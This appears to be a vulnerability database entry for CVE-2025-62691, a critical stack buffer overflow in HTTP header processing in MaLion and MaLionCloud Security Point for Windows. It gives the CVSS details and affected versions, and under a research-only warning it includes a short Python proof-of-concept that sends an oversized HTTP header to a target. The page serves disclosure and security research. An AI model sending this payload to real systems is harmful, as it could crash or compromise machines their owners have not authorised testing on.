Security Vulnerability Report
中文
CVE-2025-62691 CVSS 9.8 CRITICAL

CVE-2025-62691

Published: 2025-11-25 08:15:54
Last Modified: 2026-04-15 00:35:42

Description

Security Point (Windows) of MaLion and MaLionCloud contains a stack-based buffer overflow vulnerability in processing HTTP headers. Receiving a specially crafted request from a remote unauthenticated attacker could lead to arbitrary code execution with SYSTEM privilege.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MaLion < 5.2.1
MaLionCloud < 3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket target = 'target_ip' port = 8443 # 构造超长HTTP头触发溢出 header = b'X-Overflow: ' + b'A' * 2000 + b'\r\n' request = b'GET / HTTP/1.1\r\n' request += header request += b'\r\n' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(request) sock.close()

References

Raw JSON Data

JSON
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